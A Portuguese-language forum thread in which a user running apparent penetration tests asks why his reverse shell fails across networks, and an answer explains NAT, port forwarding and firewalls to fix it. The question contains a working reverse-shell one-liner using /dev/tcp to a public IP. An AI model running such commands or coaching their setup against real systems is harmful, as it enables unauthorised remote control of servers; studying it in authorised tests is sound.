1
resposta

Shell reverse em redes externas.

Olá pessoal, estou realizando testes, onde estou com um computador em uma rede A (Atacante) e o servidor em uma rede B (Defensor). No servidor possui um sistema que me possibilita incluir um arquivo para rodar um shell reverso, porém por estarem em redes diferentes não estou conseguindo.
Estou criando o arquivo com esse código:

sh -i >& /dev/tcp/168.167.57.248/80 0>&1

Porém mesmo alterando para o IP publico de onde receberá a conexão não funciona. Obs: Se ambos estiveram na mesma rede funciona com IP 192.168.100.248

Eu preciso realizar alguma liberação no meu Modem para poder aceitar esse tipo de conexão?

1 resposta

Olá, Moisés!

Excelente pergunta. O problema que você está enfrentando é um conceito fundamental de redes, e é muito bom que você esteja explorando isso. Sua linha de raciocínio de que funciona na mesma rede e não em redes diferentes está correta, e a sua suspeita de que precisa de alguma liberação no modem também.

A principal questão aqui é a diferença entre IPs privados e IPs públicos, e como o NAT (Network Address Translation) funciona.

Quando você está na mesma rede (192.168.100.x), o seu IP é privado e a comunicação é direta entre os dispositivos na rede local. No entanto, quando você tenta se conectar a um servidor na internet, o seu IP privado não é visível. O shell reverso que você está tentando criar precisa que o servidor atacante (a máquina que você quer que receba a conexão) tenha um IP público e uma porta aberta.

Para que o seu teste funcione entre redes diferentes, você precisa de duas coisas:

Port Forwarding (Redirecionamento de Porta) no Modem/Roteador: O seu roteador, na rede A (do atacante), precisa ser configurado para redirecionar o tráfego que chega na porta 80 do seu IP público (o que você usou no shell reverso) para a sua máquina interna (192.168.100.x na porta 80). Se você não fizer isso, o roteador simplesmente bloqueará a conexão externa.

Firewall: Certifique-se de que o firewall do seu sistema operacional na máquina atacante (na rede A) também não está bloqueando a porta 80 para conexões externas.

Resumindo o fluxo:

1º: O shell reverso no servidor B tenta se conectar ao seu IP público (168.167.57.248) na porta 80.

2º: O pacote chega ao seu roteador. Para que a conexão chegue à sua máquina, o roteador precisa ter uma regra de Port Forwarding que diga: "qualquer coisa que chegar na porta 80, redirecione para o IP local 192.168.100.248 na porta 80".

3º: A sua máquina atacante recebe a conexão. Se o firewall estiver aberto, a conexão será estabelecida, e você terá o shell reverso.

Então sim, você precisa de uma liberação, que é a configuração de Port Forwarding no seu roteador. Isso permite que a conexão externa "saia da internet" e entre na sua rede privada, sendo direcionada à sua máquina.

Espero que essa explicação ajude a resolver o seu problema e a entender melhor como a comunicação entre redes externas funciona. Se tiver mais dúvidas, pode perguntar!